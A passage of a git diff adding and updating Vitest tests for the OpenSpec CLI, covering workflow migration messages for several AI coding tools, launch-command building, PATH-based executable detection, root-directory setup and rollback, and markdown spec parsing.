a/test/core/migration.test.ts b/test/core/migration.test.ts index 409206e94d..7edb5ce913 100644 --- a/test/core/migration.test.ts +++ b/test/core/migration.test.ts @@ -1,13 +1,16 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import fs from 'node:fs'; import { promises as fsp } from 'node:fs'; import { AI_TOOLS, type AIToolOption } from '../../src/core/config.js'; import { CommandAdapterRegistry } from '../../src/core/command-generation/index.js'; import { saveGlobalConfig, getGlobalConfigPath } from '../../src/core/global-config.js'; -import { migrateIfNeeded, scanInstalledWorkflows } from '../../src/core/migration.js'; +import { + findLegacyToolMigrations, + migrateIfNeeded, + scanInstalledWorkflows, +} from '../../src/core/migration.js'; const CLAUDE_TOOL = AI_TOOLS.find((tool) => tool.value === 'claude') as AIToolOption | undefined; @@ -18,16 +21,38 @@ function ensureClaudeTool(): AIToolOption { return CLAUDE_TOOL; } -async function writeSkill(projectPath: string, dirName: string): Promise<void> { - const skillFile = path.join(projectPath, '.claude', 'skills', dirName, 'SKILL.md'); +async function writeSkill(projectPath: string, dirName: string, toolRoot = '.claude'): Promise<void> { + const skillFile = path.join(projectPath, toolRoot, 'skills', dirName, 'SKILL.md'); await fsp.mkdir(path.dirname(skillFile), { recursive: true }); await fsp.writeFile(skillFile, 'name: test\n', 'utf-8'); } -async function writeManagedCommand(projectPath: string, workflowId: string): Promise<void> { - const adapter = CommandAdapterRegistry.get('claude'); +function requireTool(toolId: string): AIToolOption { + const tool = AI_TOOLS.find((candidate) => candidate.value === toolId); + if (!tool) { + throw new Error(`${toolId} tool definition not found`); + } + return tool; +} + +function captureMigrationLogs(projectDir: string, tools: AIToolOption[]): string[] { + const logSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + try { + migrateIfNeeded(projectDir, tools); + return logSpy.mock.calls.flat().map(String); + } finally { + logSpy.mockRestore(); + } +} + +async function writeManagedCommand( + projectPath: string, + workflowId: string, + toolId = 'claude' +): Promise<void> { + const adapter = CommandAdapterRegistry.get(toolId); if (!adapter) { - throw new Error('Claude adapter not found'); + throw new Error(`${toolId} adapter not found`); } const commandPath = adapter.getFilePath(workflowId); const fullPath = path.isAbsolute(commandPath) @@ -47,10 +72,8 @@ describe('migration', () => { let originalEnv: NodeJS.ProcessEnv; beforeEach(async () => { - projectDir = path.join(os.tmpdir(), `openspec-migration-project-${randomUUID()}`); - configHome = path.join(os.tmpdir(), `openspec-migration-config-${randomUUID()}`); - await fsp.mkdir(projectDir, { recursive: true }); - await fsp.mkdir(configHome, { recursive: true }); + projectDir = await fsp.mkdtemp(path.join(os.tmpdir(), 'openspec-migration-project-')); + configHome = await fsp.mkdtemp(path.join(os.tmpdir(), 'openspec-migration-config-')); originalEnv = { ...process.env }; process.env.XDG_CONFIG_HOME = configHome; }); @@ -73,6 +96,21 @@ describe('migration', () => { expect(config.workflows).toEqual(['explore', 'apply']); }); + it('keeps dry-run legacy results aligned with migration timing', async () => { + await writeSkill(projectDir, 'openspec-explore', '.codex'); + await writeSkill(projectDir, 'openspec-explore', '.agents'); + + expect(findLegacyToolMigrations(projectDir)).toEqual([]); + expect(findLegacyToolMigrations(projectDir, 'after-generation')).toEqual([ + expect.objectContaining({ + toolId: 'codex', + from: '.codex', + to: '.agents', + skillDirs: 1, + }), + ]); + }); + it('migrates to custom commands delivery when only managed commands are detected', async () => { await writeManagedCommand(projectDir, 'explore'); await writeManagedCommand(projectDir, 'archive'); @@ -135,6 +173,138 @@ describe('migration', () => { expect(fs.existsSync(getGlobalConfigPath())).toBe(false); }); + it('prints the $-prefixed propose reference when migrating a codex-only project', async () => { + // Codex is skills-invocable with no slash surface: it invokes skills as + // Migration hints target the selected tool, so keep Codex's $<name> form. + await writeSkill(projectDir, 'openspec-propose', '.codex'); + + const message = captureMigrationLogs(projectDir, [requireTool('codex')]).find((entry) => + entry.includes('New in this version') + ); + expect(message).toBeTruthy(); + expect(message).toContain('$openspec-propose'); + expect(message).not.toContain('/openspec-propose'); + expect(message).not.toContain('/opsx:propose'); + }); + + it('prints the hyphen propose reference when migrating a qwen-only project', async () => { + // Qwen invokes commands by filename (.qwen/commands/opsx-propose.md -> + // /opsx-propose), so the upgrade message must not advertise the colon form + // its palette never registers. + await writeManagedCommand(projectDir, 'apply', 'qwen'); + + const message = captureMigrationLogs(projectDir, [requireTool('qwen')]).find((entry) => + entry.includes('New in this version') + ); + expect(message).toContain('/opsx-propose'); + expect(message).not.toContain('/opsx:propose'); + }); + + it('prints the @ propose reference when migrating an amazon-q-only project', async () => { + // Amazon Q's generated files land in its prompt library, invoked as + // @opsx-propose. It registers no slash command, so the upgrade message + // must advertise neither the colon nor the plain hyphen form. + await writeManagedCommand(projectDir, 'apply', 'amazon-q'); + + const message = captureMigrationLogs(projectDir, [requireTool('amazon-q')]).find((entry) => + entry.includes('New in this version') + ); + expect(message).toContain('@opsx-propose'); + expect(message).not.toContain('/opsx:propose'); + expect(message).not.toContain('/opsx-propose'); + }); + + it('falls back to the skill name when amazon-q and a slash tool disagree', async () => { + // @opsx-propose and /opsx-propose are both "flat", so a style-only model + // would wrongly treat these as agreeing and advertise one form to both. + await writeManagedCommand(projectDir, 'apply', 'amazon-q'); + await writeManagedCommand(projectDir, 'apply', 'qwen'); + + const message = captureMigrationLogs(projectDir, [ + requireTool('amazon-q'), + requireTool('qwen'), + ]).find((entry) => entry.includes('New in this version')); + expect(message).toContain('the openspec-propose skill'); + expect(message).not.toContain('@opsx-propose'); + expect(message).not.toContain('/opsx-propose'); + }); + + it('falls back to the skill name when a namespaced and a flat tool disagree', async () => { + // Claude registers /opsx:propose, Qwen registers /opsx-propose: no single + // slash form is right for both, so neither may be advertised. + await writeManagedCommand(projectDir, 'apply', 'claude'); + await writeManagedCommand(projectDir, 'apply', 'qwen'); + + const message = captureMigrationLogs(projectDir, [ + requireTool('claude'), + requireTool('qwen'), + ]).find((entry) => entry.includes('New in this version')); + expect(message).toContain('the openspec-propose skill'); + expect(message).not.toContain('/opsx:propose'); + expect(message).not.toContain('/opsx-propose'); + }); + + it('prints the documented /skill: propose reference when migrating a kimi-only project', async () => { + await writeSkill(projectDir, 'openspec-propose', '.kimi-code'); + + const message = captureMigrationLogs(projectDir, [requireTool('kimi')]).find((entry) => + entry.includes('New in this version') + ); + expect(message).toContain('/skill:openspec-propose'); + expect(message).not.toContain('/opsx:propose'); + }); + + it('falls back to a syntax-neutral reference when detected tools disagree (codex+kimi)', async () => { + await writeSkill(projectDir, 'openspec-propose', '.codex'); + await writeSkill(projectDir, 'openspec-propose', '.kimi-code'); + + const message = captureMigrationLogs(projectDir, [requireTool('codex'), requireTool('kimi')]).find((entry) => + entry.includes('New in this version') + ); + expect(message).toContain('the openspec-propose skill'); + expect(message).not.toContain('/skill:'); + expect(message).not.toContain('/opsx:propose'); + }); + + it('falls back to a syntax-neutral reference when command and skill-only tools mix (claude+kimi)', async () => { + // Claude will get /opsx:* commands but Kimi cannot invoke them; the one + // shared message must not advertise a form that is wrong for either tool + await writeManagedCommand(projectDir, 'propose'); + await writeSkill(projectDir, 'openspec-propose', '.kimi-code'); + + const message = captureMigrationLogs(projectDir, [ensureClaudeTool(), requireTool('kimi')]).find((entry) => + entry.includes('New in this version') + ); + expect(message).toContain('the openspec-propose skill'); + expect(message).not.toContain('/opsx:propose'); + expect(message).not.toContain('/skill:'); + }); + + it('does not advertise /opsx:propose when explicit delivery is skills', async () => { + // Adapter-backed tool, but the effective delivery will never generate + // commands — the message must use the skill reference instead + saveGlobalConfig({ + featureFlags: {}, + delivery: 'skills', + }); + await writeSkill(projectDir, 'openspec-propose'); + + const message = captureMigrationLogs(projectDir, [ensureClaudeTool()]).find((entry) => + entry.includes('New in this version') + ); + expect(message).toContain('/openspec-propose'); + expect(message).not.toContain('/opsx:propose'); + }); + + it('advertises /opsx:propose when commands are installed for an adapter-backed tool', async () => { + await writeManagedCommand(projectDir, 'propose'); + + const message = captureMigrationLogs(projectDir, [ensureClaudeTool()]).find((entry) => + entry.includes('New in this version') + ); + expect(message).toContain('/opsx:propose'); + }); + it('ignores unknown custom skill and command files when scanning workflows', async () => { await writeSkill(projectDir, 'my-custom-skill'); const customCommandPath = path.join(projectDir, '.claude', 'commands', 'opsx', 'my-custom.md'); @@ -147,4 +317,16 @@ describe('migration', () => { migrateIfNeeded(projectDir, [ensureClaudeTool()]); expect(fs.existsSync(getGlobalConfigPath())).toBe(false); }); + + it('does not count generic shared skills as installed Codex workflows', async () => { + await writeSkill(projectDir, 'openspec-explore', '.agents'); + await fsp.writeFile( + path.join(projectDir, '.agents', 'skills', '.openspec-target'), + 'agents\n', + 'utf-8' + ); + + expect(scanInstalledWorkflows(projectDir, [requireTool('codex')])).toEqual([]); + expect(scanInstalledWorkflows(projectDir, [requireTool('agents')])).toEqual(['explore']); + }); }); diff --git a/test/core/onboarding-commands.test.ts b/test/core/onboarding-commands.test.ts new file mode 100644 index 0000000000..84dbf68335 --- /dev/null +++ b/test/core/onboarding-commands.test.ts @@ -0,0 +1,43 @@ +import { describe, expect, it } from 'vitest'; +import { + DESCRIPTION_BUDGET, + getOnboardingCommands, +} from '../../src/core/onboarding-commands.js'; +import { ALL_WORKFLOWS, CORE_WORKFLOWS } from '../../src/core/profiles.js'; + +describe('getOnboardingCommands', () => { + it('omits commands the profile does not install', () => { + const commands = getOnboardingCommands(CORE_WORKFLOWS).map((c) => c.command); + + expect(commands).toEqual(['/opsx:propose', '/opsx:apply']); + expect(commands).not.toContain('/opsx:new'); + expect(commands).not.toContain('/opsx:continue'); + }); + + it('includes expanded commands when a custom profile installs them', () => { + const commands = getOnboardingCommands(['new', 'continue', 'apply']).map((c) => c.command); + + expect(commands).toEqual(['/opsx:new', '/opsx:continue', '/opsx:apply']); + }); + + it('returns lifecycle order regardless of the order workflows are given', () => { + const commands = getOnboardingCommands(['apply', 'continue', 'propose']).map((c) => c.command); + + expect(commands).toEqual(['/opsx:propose', '/opsx:continue', '/opsx:apply']); + }); + + it('returns nothing when no onboarding workflow is installed', () => { + expect(getOnboardingCommands(['archive', 'sync'])).toEqual([]); + expect(getOnboardingCommands([])).toEqual([]); + }); + + it('keeps descriptions within the welcome screen width budget', () => { + // A longer description wraps the welcome screen at 60 columns, which desyncs + // its animation. See the width test in test/ui/welcome-screen.test.ts. + for (const { command, description } of getOnboardingCommands(ALL_WORKFLOWS)) { + expect(description.length, `${command} description is too long`).toBeLessThanOrEqual( + DESCRIPTION_BUDGET + ); + } + }); +}); diff --git a/test/core/openers.test.ts b/test/core/openers.test.ts new file mode 100644 index 0000000000..fb440ab5c2 --- /dev/null +++ b/test/core/openers.test.ts @@ -0,0 +1,349 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + BUILTIN_OPENERS, + buildLaunchCommand, + findOpener, + isOpenerCommandAvailable, + listOpenerChoices, + mergeOpenerTable, +} from '../../src/core/openers.js'; + +const CONFIG_PATH = '/home/dev/.config/openspec/config.json'; + +describe('openers core', () => { + describe('built-in table', () => { + it('carries the locked v1 rows', () => { + expect(BUILTIN_OPENERS.map((opener) => [opener.id, opener.style])).toEqual([ + ['code', 'workspace-file'], + ['cursor', 'workspace-file'], + ['claude', 'attach-dirs'], + ['codex', 'attach-dirs'], + ]); + expect(findOpener([...BUILTIN_OPENERS], 'codex')?.args).toEqual([ + '--sandbox', + 'workspace-write', + ]); + expect(findOpener([...BUILTIN_OPENERS], 'claude')?.attachFlag).toBe( + '--add-dir' + ); + }); + }); + + describe('config merge', () => { + it('returns built-ins for an absent openers key', () => { + expect(mergeOpenerTable(undefined, CONFIG_PATH)).toEqual([ + ...BUILTIN_OPENERS, + ]); + expect(mergeOpenerTable(null, CONFIG_PATH)).toEqual([...BUILTIN_OPENERS]); + }); + + it('adds a new workspace-file tool with defaults from its id', () => { + const table = mergeOpenerTable( + { zed: { style: 'workspace-file' } }, + CONFIG_PATH + ); + + const zed = findOpener(table, 'zed'); + expect(zed).toEqual({ + id: 'zed', + label: 'zed', + style: 'workspace-file', + command: 'zed', + args: [], + attachFlag: '--add-dir', + }); + }); + + it('overrides only the fields a built-in row sets', () => { + const table = mergeOpenerTable( + { claude: { attach_flag: '--dir' } }, + CONFIG_PATH + ); + + const claude = findOpener(table, 'claude'); + expect(claude?.attachFlag).toBe('--dir'); + expect(claude?.label).toBe('Claude Code'); + expect(claude?.command).toBe('claude'); + expect(claude?.style).toBe('attach-dirs'); + }); + + it('rejects an unknown style naming the two valid styles', () => { + try { + mergeOpenerTable({ vim: { style: 'tabs' } }, CONFIG_PATH); + expect.unreachable('expected invalid_opener_config'); + } catch (error) { + const diagnostic = ( + error as { diagnostic: { code: string; fix?: string } } + ).diagnostic; + expect(diagnostic.code).toBe('invalid_opener_config'); + expect(diagnostic.fix).toContain("'workspace-file' or 'attach-dirs'"); + expect(diagnostic.fix).toContain(CONFIG_PATH); + } + }); + + it('rejects a new tool that omits style', () => { + expect(() => + mergeOpenerTable({ zed: { command: 'zed' } }, CONFIG_PATH) + ).toThrowError(/'zed' adds a new tool and must set style/); + }); + + it('rejects malformed rows instead of ignoring them', () => { + expect(() => mergeOpenerTable('zed', CONFIG_PATH)).toThrowError( + /Invalid openers config/ + ); + expect(() => + mergeOpenerTable({ zed: { style: 'workspace-file', extra: 1 } }, CONFIG_PATH) + ).toThrowError(/Invalid openers config/); + }); + }); + + describe('availability scan', () => { + let tempDir: string; + + beforeEach(() => { + // listOpenerChoices hides CLI-agent (attach-dirs) tools by default; + // this suite asserts the full table, so enable them. + process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS = '1'; + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-openers-')); + }); + + afterEach(() => { + delete process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS; + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function makeExecutable(name: string): string { + const filePath = path.join(tempDir, name); + fs.writeFileSync(filePath, '#!/bin/sh\nexit 0\n'); + fs.chmodSync(filePath, 0o755); + return filePath; + } + + // posix-only: these exercise the real execute bit and the ':'-delimited + // PATH against a real temp dir. On win32 chmod is a no-op and the temp + // path's drive-letter colon shatters posix PATH splitting; win32 + // availability is covered by the injected-seam cases below. + const itPosix = it.skipIf(process.platform === 'win32'); + + itPosix('finds an executable on the posix PATH', () => { + makeExecutable('faketool'); + + expect( + isOpenerCommandAvailable('faketool', { + env: { PATH: tempDir }, + platform: 'linux', + }) + ).toBe(true); + expect( + isOpenerCommandAvailable('missing', { + env: { PATH: tempDir }, + platform: 'linux', + }) + ).toBe(false); + }); + + itPosix('honors the case-insensitive Path key', () => { + makeExecutable('faketool'); + + expect( + isOpenerCommandAvailable('faketool', { + env: { Path: tempDir }, + platform: 'linux', + }) + ).toBe(true); + }); + + itPosix('requires the execute bit on posix', () => { + const filePath = path.join(tempDir, 'notexec'); + fs.writeFileSync(filePath, 'data'); + fs.chmodSync(filePath, 0o644); + + expect( + isOpenerCommandAvailable('notexec', { + env: { PATH: tempDir }, + platform: 'linux', + }) + ).toBe(false); + }); + + it('stats separator-bearing commands directly', () => { + const filePath = makeExecutable('direct'); + + expect( + isOpenerCommandAvailable(filePath, { + env: { PATH: '' }, + platform: 'linux', + }) + ).toBe(true); + }); + + it('walks the win32 PATHEXT matrix through the injected stat seam', () => { + const seen: string[] = []; + const available = isOpenerCommandAvailable('tool', { + env: { Path: 'C:\\bin;D:\\apps' }, + platform: 'win32', + isExecutableFile: (candidate) => { + seen.push(candidate); + return candidate === 'D:\\apps\\tool.CMD'; + }, + }); + + expect(available).toBe(true); + expect(seen).toContain('C:\\bin\\tool.COM'); + expect(seen).toContain('C:\\bin\\tool.EXE'); + expect(seen).toContain('D:\\apps\\tool.CMD'); + }); + + it('honors a custom PATHEXT', () => { + const seen: string[] = []; + isOpenerCommandAvailable('tool', { + env: { PATH: 'C:\\bin', PATHEXT: '.WSF;.LNK' }, + platform: 'win32', + isExecutableFile: (candidate) => { + seen.push(candidate); + return false; + }, + }); + + expect(seen).toEqual(['C:\\bin\\tool.WSF', 'C:\\bin\\tool.LNK']); + }); + + it('matches a command already carrying a known extension as-is, never doubled', () => { + const seen: string[] = []; + const available = isOpenerCommandAvailable('tool.cmd', { + env: { PATH: 'C:\\bin' }, + platform: 'win32', + isExecutableFile: (candidate) => { + seen.push(candidate); + return candidate === 'C:\\bin\\tool.cmd'; + }, + }); + + expect(available).toBe(true); + // Exactly the bare candidate - no tool.cmd.COM/.EXE doubling + // (the scan must agree with spawn-time resolution). + expect(seen).toEqual(['C:\\bin\\tool.cmd']); + + const negative: string[] = []; + isOpenerCommandAvailable('tool.cmd', { + env: { PATH: 'C:\\bin' }, + platform: 'win32', + isExecutableFile: (candidate) => { + negative.push(candidate); + return false; + }, + }); + expect(negative).toEqual(['C:\\bin\\tool.cmd']); + }); + + itPosix('sorts choices available-first preserving table order', () => { + makeExecutable('claude'); + makeExecutable('codex'); + + const choices = listOpenerChoices([...BUILTIN_OPENERS], { + env: { PATH: tempDir }, + platform: 'linux', + }); + + expect( + choices.map((choice) => [choice.opener.id, choice.available]) + ).toEqual([ + ['claude', true], + ['codex', true], + ['code', false], + ['cursor', false], + ]); + expect(choices[2].note).toBe('(code not found on PATH)'); + }); + }); + + describe('launch command builder', () => { + const members = [ + { name: 'team-context', path: '/abs/team-context' }, + { name: 'web-app', path: '/abs/web-app' }, + { name: 'api', path: '/abs/api' }, + ]; + const codeWorkspacePath = '/data/worksets/platform.code-workspace'; + + it('workspace-file style passes pre-args plus the file path only', () => { + const code = findOpener([...BUILTIN_OPENERS], 'code')!; + + const command = buildLaunchCommand(code, { members, codeWorkspacePath }); + + expect(command).toEqual({ + executable: 'code', + args: [codeWorkspacePath], + cwd: '/abs/team-context', + label: 'VS Code', + style: 'workspace-file', + }); + }); + + it('attach-dirs style attaches every member, the primary included', () => { + const claude = findOpener([...BUILTIN_OPENERS], 'claude')!; + + const command = buildLaunchCommand(claude, { members, codeWorkspacePath }); + + expect(command.args).toEqual([ + '--add-dir', + '/abs/team-context', + '--add-dir', + '/abs/web-app', + '--add-dir', + '/abs/api', + ]); + expect(command.cwd).toBe('/abs/team-context'); + }); + + it('codex carries its sandbox pre-args before the attach pairs', () => { + const codex = findOpener([...BUILTIN_OPENERS], 'codex')!; + + const command = buildLaunchCommand(codex, { + members: [members[0]], + codeWorkspacePath, + }); + + expect(command.args).toEqual([ + '--sandbox', + 'workspace-write', + '--add-dir', + '/abs/team-context', + ]); + }); + + it('never emits a positional argument for attach-dirs tools', () => { + const claude = findOpener([...BUILTIN_OPENERS], 'claude')!; + + const command = buildLaunchCommand(claude, { members, codeWorkspacePath }); + + // Every argv entry is either a flag or the value following one. + for (let index = 0; index < command.args.length; index += 2) { + expect(command.args[index]).toBe('--add-dir'); + } + expect(command.args.length % 2).toBe(0); + }); + + it('a configured attach_flag rename flows into the argv', () => { + const table = mergeOpenerTable( + { claude: { attach_flag: '--dir' } }, + CONFIG_PATH + ); + + const command = buildLaunchCommand(findOpener(table, 'claude')!, { + members: [members[0], members[1]], + codeWorkspacePath, + }); + + expect(command.args).toEqual([ + '--dir', + '/abs/team-context', + '--dir', + '/abs/web-app', + ]); + }); + }); +}); diff --git a/test/core/openspec-root.test.ts b/test/core/openspec-root.test.ts new file mode 100644 index 0000000000..d2059f31e0 --- /dev/null +++ b/test/core/openspec-root.test.ts @@ -0,0 +1,148 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + DEFAULT_OPENSPEC_SCHEMA, + ensureOpenSpecRoot, + inspectOpenSpecRoot, + rollbackCreatedPaths, +} from '../../src/core/index.js'; + +describe('OpenSpec root helper', () => { + let tempDir: string; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-root-helper-')); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function createHealthyRoot(root: string, configName = 'config.yaml'): void { + fs.mkdirSync(path.join(root, 'openspec', 'specs'), { recursive: true }); + fs.mkdirSync(path.join(root, 'openspec', 'changes', 'archive'), { recursive: true }); + fs.writeFileSync(path.join(root, 'openspec', configName), `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n`); + } + + it('inspects a healthy root with config.yaml', async () => { + const root = path.join(tempDir, 'store'); + createHealthyRoot(root); + + await expect(inspectOpenSpecRoot(root)).resolves.toEqual(expect.objectContaining({ + healthy: true, + present: true, + config: { + present: true, + path: 'openspec/config.yaml', + }, + diagnostics: [], + })); + }); + + it('inspects a healthy root with config.yml', async () => { + const root = path.join(tempDir, 'store'); + createHealthyRoot(root, 'config.yml'); + + await expect(inspectOpenSpecRoot(root)).resolves.toEqual(expect.objectContaining({ + healthy: true, + config: { + present: true, + path: 'openspec/config.yml', + }, + })); + }); + + it('reports missing root pieces without mutating files', async () => { + const root = path.join(tempDir, 'store'); + fs.mkdirSync(path.join(root, 'openspec', 'changes'), { recursive: true }); + + const inspection = await inspectOpenSpecRoot(root); + + expect(inspection.healthy).toBe(false); + expect(inspection.diagnostics.map((diagnostic) => diagnostic.code)).toEqual([ + 'openspec_config_missing', + ]); + expect(fs.existsSync(path.join(root, 'openspec', 'changes', 'archive'))).toBe(false); + }); + + it('accepts roots before changes, applied specs, or archives exist', async () => { + const root = path.join(tempDir, 'store'); + fs.mkdirSync(path.join(root, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(root, 'openspec', 'config.yaml'), `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n`); + + const inspection = await inspectOpenSpecRoot(root); + + expect(inspection).toEqual(expect.objectContaining({ + healthy: true, + specs: { present: false }, + changes: { present: false }, + archive: { present: false }, + diagnostics: [], + })); + }); + + it('reports malformed optional planning paths without throwing', async () => { + const root = path.join(tempDir, 'store'); + fs.mkdirSync(path.join(root, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(root, 'openspec', 'config.yaml'), `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n`); + fs.writeFileSync(path.join(root, 'openspec', 'changes'), 'not a directory\n'); + + const inspection = await inspectOpenSpecRoot(root); + + expect(inspection.healthy).toBe(false); + expect(inspection.changes).toEqual({ present: false }); + expect(inspection.archive).toEqual({ present: false }); + expect(inspection.diagnostics.map((diagnostic) => diagnostic.code)).toEqual([ + 'openspec_changes_not_directory', + ]); + }); + + it('ensures the default root shape and records created paths', async () => { + const root = path.join(tempDir, 'store'); + + const result = await ensureOpenSpecRoot(root); + + expect(result.createdArtifacts).toEqual([ + 'openspec/', + 'openspec/specs/', + 'openspec/changes/', + 'openspec/changes/archive/', + 'openspec/config.yaml', + ]); + expect(result.inspection.healthy).toBe(true); + expect(fs.readFileSync(path.join(root, 'openspec', 'config.yaml'), 'utf-8')).toContain( + `schema: ${DEFAULT_OPENSPEC_SCHEMA}` + ); + }); + + it('preserves existing config and user files', async () => { + const root = path.join(tempDir, 'store'); + createHealthyRoot(root, 'config.yml'); + fs.writeFileSync(path.join(root, 'openspec', 'specs', 'note.md'), 'keep me\n'); + + const result = await ensureOpenSpecRoot(root); + + expect(result.createdArtifacts).toEqual([]); + expect(fs.existsSync(path.join(root, 'openspec', 'config.yaml'))).toBe(false); + expect(fs.readFileSync(path.join(root, 'openspec', 'config.yml'), 'utf-8')).toBe( + `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n` + ); + expect(fs.readFileSync(path.join(root, 'openspec', 'specs', 'note.md'), 'utf-8')).toBe( + 'keep me\n' + ); + }); + + it('rolls back only ledger-created files and empty directories', async () => { + const root = path.join(tempDir, 'store'); + const result = await ensureOpenSpecRoot(root); + fs.writeFileSync(path.join(root, 'user.md'), 'mine\n'); + + await rollbackCreatedPaths(result.createdPaths); + + expect(fs.existsSync(path.join(root, 'openspec'))).toBe(false); + expect(fs.readFileSync(path.join(root, 'user.md'), 'utf-8')).toBe('mine\n'); + }); +}); diff --git a/test/core/parsers/change-parser.test.ts b/test/core/parsers/change-parser.test.ts index 595f138e35..9a901c0005 100644 --- a/test/core/parsers/change-parser.test.ts +++ b/test/core/parsers/change-parser.test.ts @@ -49,4 +49,93 @@ describe('ChangeParser', () => { expect(change.deltas[0].requirement).toBeDefined(); }); }); + + it('parses nested delta specs with path-based capability ids (#1353)', async () => { + await withTempDir(async (dir) => { + const changeDir = dir; + const nestedSpecDir = path.join(changeDir, 'specs', 'platform', 'session-layout'); + await fs.mkdir(nestedSpecDir, { recursive: true }); + + const content = `# Test Change\n\n## Why\nWe need it because reasons that are sufficiently long.\n\n## What Changes\n- Add nested capability`; + const deltaSpec = `# Delta\n\n## ADDED Requirements\n\n### Requirement: Nested capability works\n\n#### Scenario: basic\nGiven X\nWhen Y\nThen Z`; + + await fs.writeFile(path.join(nestedSpecDir, 'spec.md'), deltaSpec, 'utf8'); + + const parser = new ChangeParser(content, changeDir); + const change = await parser.parseChangeWithDeltas('test-change'); + + expect(change.deltas.length).toBe(1); + expect(change.deltas[0].spec).toBe('platform/session-layout'); + expect(change.deltas[0].operation).toBe('ADDED'); + }); + }); + + // A divider header inside a delta section used to be parsed as a requirement, + // inventing a scenario-less delta that does not exist (#498). + it('ignores delta headers that are not "### Requirement:" (#498)', async () => { + await withTempDir(async (dir) => { + const specDir = path.join(dir, 'specs', 'docs'); + await fs.mkdir(specDir, { recursive: true }); + + const content = `# Test Change\n\n## Why\nWe need it because reasons that are sufficiently long.\n\n## What Changes\n- Add docs`; + const deltaSpec = [ + '# Docs Delta', + '', + '## ADDED Requirements', + '', + '### Documentation Requirements', + '', + '### Requirement: AI Application Documentation', + 'Teams building AI applications SHALL document agent definitions.', + '', + '#### Scenario: Agent Definition Documentation', + '- **WHEN** a team ships an agent', + '- **THEN** the agent definition is documented', + ].join('\n'); + + await fs.writeFile(path.join(specDir, 'spec.md'), deltaSpec, 'utf8'); + + const parser = new ChangeParser(content, dir); + const change = await parser.parseChangeWithDeltas('test-change'); + + expect(change.deltas.length).toBe(1); + expect(change.deltas[0].requirement?.text).toBe( + 'Teams building AI applications SHALL document agent definitions.' + ); + expect(change.deltas[0].requirement?.scenarios.length).toBe(1); + }); + }); + + // A nameless "### Requirement:" header carries no requirement to validate, + // and the delta reader skips it too. + it('ignores a nameless "### Requirement:" delta header (#498)', async () => { + await withTempDir(async (dir) => { + const specDir = path.join(dir, 'specs', 'docs'); + await fs.mkdir(specDir, { recursive: true }); + + const content = `# Test Change\n\n## Why\nWe need it because reasons that are sufficiently long.\n\n## What Changes\n- Add docs`; + const deltaSpec = [ + '# Docs Delta', + '', + '## ADDED Requirements', + '', + '### Requirement:', + '', + '### Requirement: Real One', + 'The system SHALL do a thing.', + '', + '#### Scenario: It works', + '- **WHEN** invoked', + '- **THEN** it works', + ].join('\n'); + + await fs.writeFile(path.join(specDir, 'spec.md'), deltaSpec, 'utf8'); + + const parser = new ChangeParser(content, dir); + const change = await parser.parseChangeWithDeltas('test-change'); + + expect(change.deltas.length).toBe(1); + expect(change.deltas[0].requirement?.text).toBe('The system SHALL do a thing.'); + }); + }); }); diff --git a/test/core/parsers/markdown-parser.test.ts b/test/core/parsers/markdown-parser.test.ts index 751ab98db0..7083fd95f2 100644 --- a/test/core/parsers/markdown-parser.test.ts +++ b/test/core/parsers/markdown-parser.test.ts @@ -328,7 +328,7 @@ Then result`; expect(spec.requirements[0].text).toBe('The system SHALL use heading text when no content'); }); - it('should extract requirement text from first non-empty content line', () => { + it('should extract the full requirement body, not only the first content line', () => { const content = `# Test Spec ## Purpose @@ -348,8 +348,168 @@ Then result`; const parser = new MarkdownParser(content); const spec = parser.parseSpec('test'); - - expect(spec.requirements[0].text).toBe('This is the actual requirement text.'); + + // Body spans both lines up to the first scenario (the #361 fix); the + // reader no longer drops everything after line one. + expect(spec.requirements[0].text).toBe( + 'This is the actual requirement text.\nThis is additional description.' + ); + }); + }); + + describe('requirement body reading fidelity', () => { + it('captures a normative keyword that wraps onto a later body line (#361)', () => { + const content = `# Test Spec + +## Purpose +Test overview for wrapped keyword handling. + +## Requirements + +### Requirement: Wrapped keyword +The system performs the described behavior and it +continues onto a second line where SHALL appears. + +#### Scenario: Test +Given test +When action +Then result`; + + const parser = new MarkdownParser(content); + const spec = parser.parseSpec('test'); + + expect(spec.requirements[0].text).toContain('SHALL appears'); + expect(spec.requirements[0].text).toContain('The system performs the described behavior'); + }); + + it('skips **metadata**: lines before the description (#418)', () => { + const content = `# Test Spec + +## Purpose +Test overview for metadata-first requirements. + +## Requirements + +### Requirement: Metadata first +**ID**: REQ-FILE-001 +**Priority**: P1 (High) +The system MUST persist the uploaded file. + +#### Scenario: Test +Given test +When action +Then result`; + + const parser = new MarkdownParser(content); + const spec = parser.parseSpec('test'); + + expect(spec.requirements[0].text).toBe('The system MUST persist the uploaded file.'); + }); + + it('keeps a metadata-only body as the requirement text', () => { + const content = `# Test Spec + +## Purpose +Test overview for metadata-only requirement bodies. + +## Requirements + +### Requirement: Constraint style +**Constraint**: The system MUST respond within the configured deadline. + +#### Scenario: Test +Given test +When action +Then result`; + + const parser = new MarkdownParser(content); + const spec = parser.parseSpec('test'); + + // Metadata lines are skipped only when other body text remains; when the + // whole body is metadata, the metadata IS the body. + expect(spec.requirements[0].text).toBe( + '**Constraint**: The system MUST respond within the configured deadline.' + ); + }); + + it('ignores a fenced code block that precedes the prose line (#312)', () => { + const content = `# Test Spec + +## Purpose +Test overview for fence-before-prose handling. + +## Requirements + +### Requirement: Fence first +\`\`\`bash +# this is a shell comment, not the requirement text 